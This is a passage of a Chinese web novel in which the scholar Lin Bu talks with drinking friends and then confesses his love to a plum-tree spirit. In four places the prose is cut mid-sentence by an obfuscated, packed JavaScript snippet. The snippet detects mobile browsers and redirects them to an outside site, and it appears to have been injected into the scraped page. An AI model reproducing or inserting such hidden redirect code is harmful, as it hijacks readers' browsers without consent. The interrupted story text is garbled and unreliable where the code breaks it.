锦衣公子不知道好友心里的腹诽,他看着林逋飞过来的眼刀,摸了摸鼻子“哈哈”干笑两声。 “我这不是想着给君复添点人气儿嘛。子谦你看看他,成天山里来水里去的,尽往那深山老林里钻,要不是还不能辟谷,能吃能喝的,我还真以为他看破红尘成了那餐风饮露的仙人呢。” 说完,他故意往林逋身上蹭去,嬉笑道:“林仙人,也给我沾点仙气呗!” 林逋用酒杯抵住他的额头,一脸嫌弃的将他的头拨开:“一身酒味,起开。” 锦衣公子被这一推顺势就歪倒在了安子谦身上,嘴里还哼哼唧唧的抱怨:“你看看君复,平日里对着他那些宝贝梅花那叫一个温柔似水,怎么就不见分些柔情给我们呢?” 安子谦冷不丁叫一个硬邦邦的大男人“投怀送抱”,一时手里的酒杯没拿稳叫酒水打湿了大半个袖子,有些洁癖的他登时脸色泛青,笑容再维持不能。 他默念了好几遍“这家伙不能打,打了他真的会哭给我看”后,才勉强冷静下来。 安子谦僵着一张俊俏的脸,右手使力拎起怀里这个大家伙的衣领,和林逋同款嫌弃:“请明仁兄去掉那个‘们’字,不要带上我,我觉得君复兄这样甚好。” 像明仁兄,就是太闹腾了,明明连儿子都快进学了,怎么还跟小孩似的。 “子谦,你还是我的子谦吗?” 徐明仁像只被拎着脖子的猫,扑腾着捏上了安子谦的脸,不敢相信的控诉道:“你的温文尔雅呢?你的谦谦君子呢?你怎么也跟着君复学坏了,变得这么冷漠无情!” 安子谦按了按额角,只觉再和他说下去自己就是个傻子。不,应该说从早上陪他上门开始就是一个错误。 “明仁兄,你喝!醉!了!还请自重!”他一字一顿说的无比用力。 “我没喝醉!”某个人菜瘾还大的家伙还在叫嚣:“这才哪到哪,咱们不是说好了嘛,要把君复给灌……唔!” 不好! 徐明仁话还没说完,就被安子谦眼疾手快的给喂了一杯酒,很快便一脸迷离的抱着酒壶今昔不知何夕了。 “我说明仁兄你醉了,你就是醉了。”安子谦笑的一脸“温柔”。 因为某人的猪队友,他们之间的联盟顷刻瓦解。 免费看了一出闹剧,本来郁郁的林逋心情一下子好了起来。 他手搭在酒壶上,食指轻轻敲击着壶壁,一边听着节奏,一边看似漫不经心的说:“既然都说漏嘴了,到底什么事子谦你还是直说吧,省得后面他又出什么馊主意。” 这才几杯,就醉倒成这样。这点酒量,也不知是哪来的胆子还想着灌醉他。 林逋浑然不觉自己同对方半斤八两,暗暗腹诽道。 安子谦看着趴在案上“嘿嘿”傻笑的徐明仁一脸无奈:“谁让某人一直认为自己千杯不醉呢。” “所以你就答应和他一起来给我灌酒?子谦,你就纵着他吧。” “难道君复你不是?”子谦反问道。 二人相视一笑,一切尽在不言中。 “虽然明仁兄的做法是有些……” 安子谦想了半天,最后勉强说了个“出乎意料”,也算是给徐明仁留几分面子,“不过他也是关心你,这几年每次一过完年,你就魂不守舍,心不在焉的,莫说是他,就连我也有点好奇了。” “好奇什么?” “好奇到底是什么吸引了你。”安子谦向书房的方向抬了抬下巴,“好奇你书房里那枝宝贝的不行的梅花。你表现的这样明显,别说我了,连明仁兄都看出来了。” 难怪刚才那家伙好端端的提什么梅花。 “真这么明显?”林逋往上拢了拢衣袖,借着倒酒的动作掩去了脸上的不自然。 “如果此时君复兄面前有面镜子,那你一定不会问出这句话。”安子谦避而不答,可是这句话本身就已经很能够说明问题了。 林逋从不怀疑他这位友人的敏锐,只是那曾叫他无数次夸赞过的优点放在此时却让他有些郁闷。 “那枝梅花是我的一位好友送的。” 因为这时节正值梅花盛开,所以林逋偶尔也会将花拿出来,临摹作画。平时他都是放在盒子里藏好,毕竟夏日的还开放着的梅花就叫人诧异了。 不过他的书房素日不许旁人进去,他的两位好友是如何知晓的? 是了,梅花瞒得住别人,瞒不住日夜在一起生活的家人。他表现的这么明显,怕是家里人担忧才会托好友打听吧。 “我猜也是,毕竟以你那爱梅成痴的性子总不可能是自己去折的。” 他们都知道林逋极其爱梅,甚至到了爱梅成痴的地步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268157|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以从不攀折梅花。 不过他倒也不是什么迂腐顽固之人,惜梅是他个人的事,他不会把自己的想法强加在别人身上,自己不摘也不让旁人摘,一般只要不伤及梅树根本他是不会阻拦的。 毕竟时人爱花成风,簪花、插花都是风雅之事,就是寻常百姓逢年过节家中也会摆上各色花果。林逋自己也只是不摘梅花而已,平时屋里少不得也会插上几枝山花野菊。 只是他不在意,但他的亲属友人皆顾念他的喜好,自己赏玩倒还罢了,却从不会送折下的梅花给他插瓶,大多都是字画或盆栽。 所以林逋屋里的梅花才叫人这般惊奇。 安子谦得了答案,不但没有满足,好奇心反倒是越发深了:“那不妨我再猜一下,让你时常出神的原因也在送你梅花的那位友人身上。” 虽是疑问,他却说的无比笃定。 “子谦,我记得你不是个喜欢打破砂锅问到底的人。”林逋对安子谦的推测不置可否,只浅浅啜饮一口杯中的美酒。 唔,不愧是和乐楼的琼浆,果真名不虚传。 “没办法。” 安子谦摊了摊手,温雅的脸上难得带有几分不正经:“都说近朱者赤,近墨者黑,和明仁兄呆久了,我也是会有好奇心的。更何况,君复兄,你是我的好友,你的事我自然关心。” 听到这句话,林逋神色柔和下来。 他提起酒壶给双方各斟了一杯酒,然后递一杯给他,“哦?那你说说,你好奇我什么,又关心我什么?” 安子谦接过酒杯,笑眯了一双狐狸眼,“我若记得不错,这还是第一次听说你身边有这样的梅花呢,你还偏偏藏着掖着,想必那位友人很是得你的心啊!” 林逋垂首摇晃着手里的酒杯,看着杯底彩绘的红梅在清澈的酒液中绽放,眼里也泛起柔波,“你说的没错,她确实很得我的心,堪称平生一知己……” “得君复的心?!” 林逋话还没说完,某个醉鬼突然抬起头,大着舌头插了一句话。 “不……不行,最得君……君复心的是……是我们才对,我们可是打……打小就认识。君……君复,不就是梅花嘛,改……改天我……我和子谦送你一屋子。” 说完,打了一个酒嗝又一歪头趴了下去,不省人事。 被他这一打岔,二人一时间气氛全无,脸上俱是哭笑不得。 “醉了还这么不安生,不愧是明仁兄。” 好一会儿,安子谦摇了摇头,冲林逋举杯示意:“不过这回闹腾的应该是彻底安静下来了。君复兄,现在我有佳酿一盏,春光一季,只差一篇配得上这美酒美景的故事,高山流水,得遇知音,不知子谦是否有这个荣幸听上一听?” “有何不可!” 将杯中的残酒一饮而尽,林逋白皙的脸上不知什么时候爬上了一层薄红。 他好像也有些醉了,确实很想找人倾诉一下心里话。 “只是这故事的名儿不太恰当,《高山流水》?不好听,我要换一个。” “换成什么?” “《幸逢春》,这个故事该叫《幸逢春》。” 林逋右手支着头,看着案上日光透过花枝投下的斑驳光影,不知想起什么,愉悦的笑着说。 10. 第 10 章 “《幸逢春》?” 安子谦细细品着这个名字,只觉唇齿间都带上了一丝春意,当真应景极了,“果然好名字。” “自然是好名字。” “好名字就该配得上一篇好故事,现在,我已经开始期待了。” 林逋不觉莞尔。 “不会叫你失望的。” 说完,他按下心头万千思绪,一边饮酒,一边将他和少女的故事娓娓道来。当然,他隐去了少女的性别和那些不该说的东西,只说多年后在杭州重逢了幼时的恩人,还有他们一期一会的约定。 林逋说到兴起时,还会随口吟上几句他们写过的诗词短句。 安子谦听完不由抚掌:“山中访梅,本就风雅至极,没想到君复兄你还能访出个知己来。有趣!有趣!短笺为媒,方舆传书,如此看来,我还是说错了,这哪里是故事,简直是旧时传奇的开端啊!让我越听越期待后面的发展了。精彩!当浮一大白!” 林逋与他碰杯,听到“短笺为媒”时耳尖不由红了一下。 他语气谦和,却能让人听出里面的炫耀:“我也没想到我们会这么投契。” “所以这些天你一直神思不属,就是惦记着你那一场春日会?不是都说衣不如新,人不如旧,怎么我倒是觉得正相反呢?”安子谦故意打趣道。 心上人的约会和朋友的能一样吗? 林逋这样想着,却没有正面回答。 他不着痕迹的转移着话题:“子谦这么重的话我可不敢应,叫某人听了又该闹了。况且,今天我们这难道就不算春日会吗?” “哈哈——”安子谦笑了起来,“算,怎么不算!” 说完,他喝完最后一点酒,架起了徐明仁。 “这就走了?”林逋有些意外,但还是起身帮他扶了一把。 这时候他们倒是不嫌徐明仁满身酒味了。 “酒喝完了,故事也讲完了,自然也该回去了。” 林逋怔然,这才发现酒壶不知不觉中已经空了。 安子谦一脸任务完成的轻松,幽默的说道:“再说,我看君复兄你人情味足得很,想来明仁兄也不用担心你那天真的成仙了。” 安子谦在林逋的帮助下艰难的走到院门外,忽然转头说道:“对了,我看明天是个好天气,宜出游,宜访友。所以,君复兄,去见你心心念念的知己去吧,我们这些昨日黄花啊,就不来你这碍眼了。唉,但见新人笑,哪闻旧人哭啊。林郎啊林郎,你当真是个薄幸郎!” 说完,他意味深长的笑了笑,随即架着徐明仁扬长而去。 明明只是调笑之语,林逋却不知怎得被他说的心里一跳。 不是吧,真这么敏锐? 不过很快他又哂然一笑,不管子谦兄有没有听出来什么,他既然未曾说出口,那就是当不知道的意思了。 好友这么贴心,林逋觉得心里暖暖的。 “看来这些日子确实让他们担心了。” 可惜,这番感动还没多在林逋心里多酝酿一会儿,就被外面不小的动静给迅速打散了。 “哎呦,痛死我了!”中气十足,不用怀疑,这绝对是某个醉鬼的呼痛声。 “你还痛呢!我身上压着这么重一个你都没喊痛!快,快给我起来,你吃的都是什么,怎么这么沉!” 很明显,这道气急败坏的声音属于某个扶人不成反被压的文弱书生。 “就说子谦你不能整天呆在家里看书,这下吃亏了吧。” 见有友人们的好戏看了,林逋暂且撇下心里转过的种种念头,看似无奈的摇了摇头,嘴角的弧度却怎么也压不下去。 他提高声量,一边喊着“子谦我来救你!”,一边快步向门口走去。 哈哈,这么有趣的场面他可不能错过。毕竟,他的故事可不是白听的,光是酒可怎么够。子谦这只狐狸,现在轮到他找回场子了。 等几个写作“好友”,读作“损友”的人借着酒劲嬉笑打闹,各自归家后,林逋揉了揉眉心,清醒稍许后踱步来到书房。 他的书房很朴素,并无什么杂丽的装饰:南边一整面墙的书架,上面满满当当堆满了书籍,书架两边挂着几副挂画,一方宽大的书案就靠在窗边,文房四宝俱全,打开窗户就能看见外面院子里郁郁青青的翠竹。 整个书房最显眼的,不过就是书案上摆放的一尊莹润的白瓷花瓶了。花瓶里插着一支鲜妍的梅花,阳光斜斜照进来,可谓摇曳生姿。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268158|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逋走近书案,取下被压在瓶底的一张画。画上的墨迹还很新,原是他早上刚画的。 素白的画纸上,小巧圆润的红豆与艳艳红梅交缠若连理,亲密不可分。右上角赫然题着一句诗:“玲珑骰子安红豆,入骨相思知不知【1】”,他的心思一览无遗。 这幅画技艺高超,情绪饱满,再加上浓烈的色彩,极为抓人眼球。就连右上方的题字,也是笔法瘦挺劲健,颇类前朝的大书法家欧阳询的作品。 不得不说,这是一副不可多得的佳作。 其实,林逋的笔下很少有这样艳丽的景色。他的画和他的诗词一样,写山写水,画鸟画花,澄澈淡远,闲逸而有情趣。唯独梅花不一样,他画她,总是忍不住用红色。 这样热烈的颜色,与她正相配。 林逋看着画卷上的题字,修长的指尖从瓶中的梅花上轻轻拂过,似是抱怨又似是撒娇:“八年了,姐姐,我的心意你到底知不知啊?” 虽然不清楚少女到底知不知晓他的心意,可这些年相处下来,少女待他越发的亲昵与纵容,这到底给了林逋几分信心。 只是后面无论他怎么使力,他们的关系始终没有更近一步,所以林逋才这样焦躁不安,乃至于失了一贯的谨慎从容,让亲朋好友察觉到他的不对劲。 眼下听了好友的一番话,倒叫林逋下定决心向少女表明心意。 这个决定一做,他顿时舒了一口气。 这时他才发现,原来他心里一直是不甘的。不甘心一直以弟弟或是友人的身份守在她身边,不甘心一直饱受相思的折磨,他想要她知道他的心意,想要对方与他长相守。 他们已经相识十六年了,人生中又有多少个十六年,他不能再等下去了。风华正茂时不表白,难道等他年华不再,容貌衰退时才吐露爱慕吗? 不,这样感觉更不可能成功了好吧! 林逋被这个想法一激,顿时什么忐忑,什么幽怨一下子就被浇灭了。 美人计若不是由美人来使,那就不叫美人计,而是丑人多作怪了。趁着他还有几分姿色,他一定要努力争取让姐姐嫁给他。哦,对了,姐姐不能离开孤山,那就换他入赘。 总之结果是好的就行,至于过程?管他呢。 11. 第 11 章 想明白之后,第二日,林逋就急忙辞别亲友,抱着一整盒去年的收获乐颠颠的又来了杭州。 凭着手中红梅的指引,林逋顺利穿过迷阵,来到少女真身面前。 此时明明已是三月,其他的梅花都已凋谢,纷纷换上了一层新衣。可在梅林深处,那棵巨大的梅树仍然静静的盛开着,一阵风吹来,花枝浮动,与密密悬挂的红笺碰撞交缠,不分彼此,叫人分不清哪处是花,哪处是花笺。 林逋一服青色衣衫,眼中是怎么也下不去的笑意,轻轻一笑,便带来了整个春天。 “姐姐,许久未见,你可想我了?” “还是这样没正形。”白光一闪,早就察觉到他气息的少女来到他面前,“今年你来的有些迟,再晚一点,梅花就该谢了。” 虽然没有听到想要的答案,林逋仍然很满足。 他又笑开来,道:“姐姐肯定是想我了,不然怎么会连我该哪一天来都记得这样清楚。而且这时候梅花早该谢了,定是姐姐为了我才把花儿留到现在的,对不对?” “浑说什么,你年年都要扰得我不安生一回,我又怎会记不住。这花也不过是因为今天开得迟,所以到现在还没谢罢了。” “好好,是我说错话了,不是姐姐想我,是我想姐姐了。这花也不是姐姐特地留的,一切都是我的误会。不仅如此,我还来迟了,该罚该罚。” 林逋作了作揖,明明认错态度极为端正,少女不知为何有些气闷。 她看着林逋好似浑不在意的样子,又扫过他因为匆匆赶路额角冒出的细密汗珠,心软了一瞬,终是开口:“你说的没错,你一直没来,其实,我也有些想你。” 这片清冷的梅林,也只有林逋在的时候才会热闹起来。 只是热闹过后,才更觉寂寞。 不过,刚才的话刚一说出口,少女就有些后悔,但看着青年霎时亮起的眼睛,终是没说什么。 至于林逋,那就是纯粹的喜悦了。他知道少女向来是心有多软,嘴就有多硬,哪怕相处时对他诸多包容,却怎么也不肯说些软乎话,像是紧闭了壳的蚌。 眼下她难得的真情流露,让林逋只觉终于扣开了她的心扉,等到了守得云开见月明的一天了。 他欢喜的不知如何是好,恨不得抱起少女原地转上几圈,因此忽略了她眼中的懊恼,竟直接从袖中掏出一只月白的锦囊,双手递到少女面前。 “姐姐,我一直很想送你一样东西,直到今天,才终于有勇气送出来,你愿意收下它吗?” 少女被他突如其来的动作惊得一愣,心剧烈颤动了一下,仿佛意识到了什么。 迟疑半晌,最终还是在青年热烈的视线中接过了锦囊。 锦囊很轻,捏在手里能感受到里面好似是一个个小小的硬物。她拉开系绳,松开一个小口,往下倒出了一粒圆润的红豆。 殷红的红豆落在莹白的掌心,好似突然长出的一粒的朱砂痣,晃眼极了。 似是对林逋送她红豆有些不解,少女索性一把将里面的东西全部倒出来,却发现竟然全都是红豆。 “这是红豆?为什么要送我这个?” “是红豆,也是——相思子。” 林逋从少女先前的态度中察觉到事情好像不是自己想的那样,却不肯再像往常一样插科打诨混过去。 他热烈的,坦诚的,近乎无畏的,将自己的心意一字一句诉与她听,恨不得把一颗心剖出来捧到她面前。 “姐姐,我心悦你,很早很早就心悦你了。红豆喻相思,这十颗红豆,一年一相思,代表我已经喜欢你十年了,从十七岁那年就喜欢上你了!” 青年的情意真诚炙热,少女心间一颤,攥紧红豆不自觉退后一步。 喜欢?什么是喜欢? 她明明应当不知道其中含义,可为什么她心里竟这样欢喜? 难道,她也喜欢他不成? 荒唐!怎么可能! 少女不知是害怕这股陌生的情愫,还是害怕带给他这股情愫的人,慌里慌张的斥道:“十一郎,你知不知道你在说什么,你叫了我这么多年的姐姐,结果现在跑来说喜欢我,亏你读了这么多年的礼义廉耻,结果都读到狗肚子里去了?” 话既已说出口,林逋就再也没有什么不敢的了。 他正视着少女的眼睛,不容她退缩:“姐姐,唤了你这么多声‘姐姐’,可你忘了,你我终究不是真正的姐弟,这世上也没有哪本圣贤书说我不能喜欢你,我只知道喜欢一个人是没有错的。” “喜欢一个人没错,可我是妖,人与妖怎可相恋?何况,在我心中,你始终是当年那个年幼的孩子,我可以一直是你的姐姐,唯独不能是伴侣。” 听到她的话,林逋的脸色顿时变得苍白,可一双眼睛却亮的出奇:“姐姐,除了你不喜欢我,其他的,身份、种族、年龄,这些都不能成为你拒绝我的理由。” “你看着我的眼睛,告诉我,你当真没有对我动过心?” 青年清亮的眼睛,如湖水一样澄澈,里面蕴含着汩汩的生命力。这是她不曾拥有,也是她珍之爱之、心向往之的。 少女在他眼里看到了自己,满眼的自己。 这一刻,她忽然就明了什么是喜欢。 她动心了。 可是还未来得及品味这份心动,下一刻,另一种绝望的情绪瞬间爬上了心头,将那一点心动死死摁住。 她不能害了他。 “我不曾……” “动心”二字还未说出口,她就被林逋一把拉过,扯入怀中。 少女猝不及防之下被他得了逞,还未来得及挣扎,很快,一个微凉的吻就这么落在了她的唇畔,温柔又缱绻。 她一怔,不同于八年前那个意外的吻,这一次,她心跳如擂鼓。 她听见了他在她耳边的喃喃轻语:“姐姐,我心悦你,沧海桑田,至死不休。” 一吻落下后,林逋顺从的放开少女,不见原先的轻狂。 很快,“啪!”的一声,一道清脆的耳光声响起,然后是少女的怒呵:“放肆!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268159|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看你是昏了头了!” “姐姐,在你面前我都放肆这么多回了,也不差这一次。是,我是昏了头了,可是,姐姐,你刚才的心跳的好快啊。” 林逋的右脸已经迅速肿胀了起来,哪里还能看出原先如玉君子的模样。 可是这样狼狈的他,却大剌剌的顶着小巧的巴掌印笑得肆意又开怀,像是得逞的狐狸一样,甩着蓬松的大尾巴得意极了。 “姐姐,分明是你说谎了,我就知道,你也喜欢我。” 他笃定的说着,眼中的情意仿佛具象化,化作丝丝缕缕的红线,死死缠绕在红衣少女身上,让她再也不能挣开。 “你……你又给我来这一套,看来刚才那一巴掌还是打轻了。” 少女被他看得好不自在,等反应过来自己又被套路了,再看着他那副得意洋洋,仿佛吃定了她的样子,只觉得手痒得厉害,恨不得再甩他一巴掌。 这死孩子,到底是怎么从小哭包长歪成这幅黑心的模样,欠极了。 林逋得了甜头,自然不敢再惹少女生气。 他半跪下来,将少女的手放到自己完好的另一边脸上,期期艾艾的扮起可怜来。 “姐姐,你明明也喜欢我,为什么要拒绝我?我也是逼急了才出此下策冒犯了你。你打我也好,骂我也罢,只要你能消气,怎么罚我我都认。只是姐姐,我求求你了,别对我这样狠心,你知不知道,听见你要说不喜欢我,我的心有多难过。不要再说那样的话了,姐姐,你那么疼我,如今再疼我一回,好不好?” 他说得这样卑微,少女听得一酸,几乎也落下泪来。 她的指尖划过他的脸颊,抚上肿胀的掌印,轻轻问道:“痛不痛?” “痛,好痛。” 少时就敢独身一人在外游历,光是野林子和荒山就不知道钻了多少个,就连野兽也正面搏斗过几回,武德充沛的某人可怜兮兮的道。 “知道痛我打你时怎么不躲?别跟我说你躲不开。” 少女掌心泛起一层白光,想要消去他脸上的伤痕,却被林逋一把握住,滚热的呼吸喷洒在上面,烫的她手背一阵酥麻。 林逋抬起头,仰望着她:“因为不想,只要是姐姐你给我的,哪怕是疼痛,我也甘之如饴。姐姐,不要再拒绝我了,做我的妻子,好不好?” 少女被他灼灼的目光摄住,竟又忍不住后退一步,林逋握住他的手,也膝行着跟上去,执着的想得到答案。 就这样,一人一妖,强大的被逼的一直往后退,弱小的跪着却往前逼。 直到背部抵在了坚硬的树干上,退无可退,少女才恍然发觉她已经退到了本体处。 后面没有路了。 林逋的双眼一直紧紧的盯着她,似乎是要把她连带着身后的本体一同牢牢锁在视线里,不肯放松一步,也不许她避开。 “姐姐,你在害怕?为什么?” 他问道。 少女的心一悸。 像是一只被逼到墙角里饱受惊吓的小动物,毛都快炸了。 12. 第 12 章 “你在胡说什么?”她下意识否认道。 “我说你在害怕,”林逋望着她,那双湖水一样的眼睛还泛着红,像是斜阳照水,里面却满满的都是她,“姐姐,你到底在怕什么?” 他又重复了一遍。 林逋太了解她了。 即使刚开始没发现,可经过这一番试探与步步紧逼,他如何察觉不了她的异样。 她对他有情,那就绝不会因为什么人妖之别拒绝他。她若真的在意这些,怎么会允许他陪在身边这么多年,仅凭他的死缠烂打可不够。 对于他的表白,她眼神闪躲,克制,可唯独没有不愿与厌恶。 她明明也是喜欢他的。 少女怎么敢告诉他真相。 她忍下泪意,不忍道:“十一郎,你为什么要这么聪明,傻一些不是很好吗?” 数百年来,他是唯一一个愿意留下来陪着她的人,叫她如何不欢喜,又如何不动容。 因为自私,她已然误了他,怎么能继续害他,让他泥足深陷。 她像是在问他,又像是在问自己,“都说执子之手,与子偕老,可是我们明明无法长相厮守,又何必要为了这短暂的欢愉让剩下的那一个痛苦余生呢?别让错误的感情继续下去,就停留在这一步不好吗?” 像这样一年一会的相聚,保持着不远不近的距离,真到了分别的那一天,想来也不会太难过。 “因为这不是错误!”林逋反驳道:“也因为相思刻骨,无法放手。和你在一起,哪怕只有一年,一天,一个时辰,我也欢喜。” “十一郎,人妖相恋,天理不容,没有人会祝福我们的。” “不需要别人的祝福,只要我们彼此倾心就够了。爱是没有错的,就算真的有错,那错也全在我,是我爱明月高悬,却妄想拉它入人间,独享这月光。姐姐,你以前曾说过,人都是自私的,其实我也没什么不同。” 林逋抬头仰望着她,“是我引诱你,也是我想坏你的修行,你救了我,我却恩将仇报。若有报应,我愿意承受一切。可是,只有此生,我想求老天,求姐姐你垂怜,允我快活这一回。” 他的膝盖因为跪的太久已经麻木,一阵阵的刺痛连着经脉缠绵不绝,林逋却像没事人一样。他抱住少女的腿,如同在拥抱自己的全世界。 “姐姐,每年我们在一起的时间是那么的短,每过一天,我能陪伴你的时间就少一天,可我对你的爱却在与日俱增。现在,我终于等到你也爱上了我,叫我如何再放手?” 他将自己的脸埋在她膝上,不敢叫她看见自己满是偏执的眼睛。 “姐姐,你不要怕,我们会长相守的,你那样害怕寂寞,我又怎么会留你一人。活着,我是你的眼睛,替你看遍四季山川;死后,我就埋在你身边,哪怕化为野鬼,也会永远守着你。等到了你不再需要我的那一天,即便立刻魂飞魄散,我也是欢喜的。” 最后一句,他说的又轻又缓,缠绵的像是在说情话。不,这就是情话,只是充满了阴森与化不开的浓稠。 少女被他的话给惊到,“你疯了?你究竟知不知道你再说什么?!” “十年相思,或许,我早就疯了。可此时,我却觉得自己从未这样清醒。姐姐,我爱你,真的很爱很爱你。” “你就这么执着?哪怕我们的结局注定是一场悲剧?” “只要能与姐姐在一起,我连下地狱都不怕。姐姐,你也不要怕,无论生死,我都会陪在你身边,不管结局如何,我都愿意一力承担,只求你——爱我。” 这样扭曲而浓厚的感情,最是能打动妖物的心,何况是曾被寂寞逼得快要疯了的少女,“记住,我给过你后悔的机会了,如今,是你自己不愿走。” 情感告诉她,不能答应他,可自私凉薄的妖性却让她死死抓住他,喜欢什么,想要什么,就要想法设法去得到,更别提对方都主动送上门了。 这就是妖怪,无论外表看起来有多么清雅出尘,不食人间烟火,妖终归是妖,不是仙。一旦有了贪恋之物,他们就会撕开美丽的伪装,露出那颗或许自己也不曾发觉的欲壑难填,贪婪无度的心。 少女眼神是那样冷酷,可她却弯腰轻柔的捧起了林逋的脸,“你是个疯子,或许我也是。明明已经知道了结局,哪怕以后我们都会后悔,可是现在,我竟也想陪着你疯一回。十一郎,你赢了。” 在林逋狂喜的眼神中,她吻了吻他青紫肿胀的脸颊,“以后,我就是你的了,为我起个名字吧,郎君。” “姐姐你……你……” 事情发展的太快,饶是林逋也一下没反应过来。他捂住被亲的脸,眨了眨眼,大脑一片空白,就这么原地呆住了。 “怎么,只许你轻薄我,就不许我轻薄回来吗?” 少女看着林逋这幅呆头鹅般的模样,自觉出了一口先前被他压制得慌不择路的郁气。 他说的对,就让他们在最后不多的日子里不留遗憾,快快活活的过一回吧。 至于以后,嗤,她还有什么以后。要怪,就怪他们命不好吧。 她直起身,貌似淡定的理了理有些凌乱的衣襟,只是雪白的耳垂悄悄泛起的红还是泄露了她的紧张与羞涩,恰如霜雪中犹见绮靡。 “许,许,救命之恩,以身相许!我整个人都是姐姐的,姐姐想怎么轻薄就怎么轻薄。” 林逋自己都不知道自己在说些什么。 此时的他像是被巨大的馅饼砸中,激动的几乎颤抖。他踉跄着站起来,如先前幻想的那样,扑上去一把就抱住了少女,搂着她原地快乐的转起了圈。 “姐姐,我太高兴了!真的,我从没有这样高兴过,这是我有生以来最开心的一天……” ‘我也是!’ 少女安静的伏在青年的颈边,像是被他感染,嘴角挂起了同样快乐的笑容。 一阵风吹来,梅花纷纷飘落,缀在二人身上,头上,如同下了一场带着香气的雪,加上林逋阵阵畅意舒朗的笑声,这样的场面,少女想,她能记住一辈子。 几圈过后,林逋终于稍稍平复了下心情,出走多时的理智也找回了几分。 他停下来,仍就着抱住少女的姿势不肯松手,斟酌后试探的开口问道:“姐姐,你方才说的名字是?” “你还记得你曾经问过我的名字吗?” 林逋语带怀念道:“记得,姐姐说你天生天养,无名无姓,所以只让我继续称‘姐姐’便是。” “是啊,名姓这东西是你们人族弄出来的,我们妖以气息识人,自然不需要。虽然有的妖也仿照着人族给自己取了名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268160|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可我一个妖生活在这里,有没有名字又有什么关系?” 反正,也没有谁会叫她。 见林逋想说什么,少女一把捂住他的嘴。 “嘘!听我说完。那都是很久以前的事了,你也不要为我难过。” 她迎着林逋心疼的目光,徐徐旋开一抹笑来。 “十一郎,如今我既答应做你的妻子,你就不能继续唤我‘姐姐’了。所以,为我取一个名字吧。以我之名,冠你之姓,郎君,从此,我就是你名正言顺的妻子了。” 这由人类创造的名字啊,如血缘一样,是这世间最短、最奇妙的束缚。 意外不知何时就会降临,他们迟早会有走向终焉的那一天,她总要为剩下的人留下些什么,至少,证明他们曾相爱过,哪怕这爱并不为人所知。 语毕,她正待松开手,忽的一滴滚烫的泪落到她的手背上,她一怔。 这滴泪很快便沿着她纤细雪白的手腕一路滚落,蜿蜒出一道透明的水痕,然后砸在地上,将泥土晕湿出一道深褐色的小点。 “怎么又哭了?还说自己不是哭包。” 少女松开手去拭他的眼泪,却被他上下翻飞的睫毛吸引,见它如被雨水打湿的蝶翼一样,湿漉漉的,可怜可爱,不由伸手拨了拨。 林逋闭上眼任由她动作,“既是欢喜,也是难过。” 少女知道他的意思,好笑道:“我都不难过,你难过作甚?” “我替姐姐难过。” “难过有什么好替的,要替也是快乐才对。以后不许再难过了,只要欢喜就够了,你可以喜我所喜,乐我所乐,唯独不要痛苦与忧愁。” 不然你以后怕是会很辛苦。 “好,姐姐,我都听你的。以后,我也不会再叫你难过。” “你怎么还叫我姐姐啊?”她嗔道。 “是我说错了。”林逋握住仍在他脸上作怪的手,手指插进去,与她十指相扣,定定的看着她,忽然唤道:“念念。” “嗯?”少女一时没反应过来。 “念念,林念,这便是我为你取的名。”他柔声向她解释。 “林念……”少女念了一遍,“确实很好听,我很喜欢。” “不仅是好听,还因为……” 看着少女琉璃一样剔透的眼睛,林逋将他们相握的手放在自己的心口,那里,他的心脏正蓬勃有力的跳动着,“砰”“砰”的每一声都似乎在诉说着他的爱恋。 “还因为念念不忘,必有回响。你是我一生的念念不忘,也是我等待已久的回响。” 他何曾有幸,幼时蒙难被仙子所救;十年相思,也终得仙子的垂青。 “念念吾妻,往后余生,我会像这样,一直唤着,念着你的名字,守着你,爱着你,叫寂寞从此远离你。你不会再孤单了。” 这个傻瓜! 少女终于忍不住了,她扎进林逋怀里,不顾他的手足无措,泪珠簌簌打湿他的衣襟。 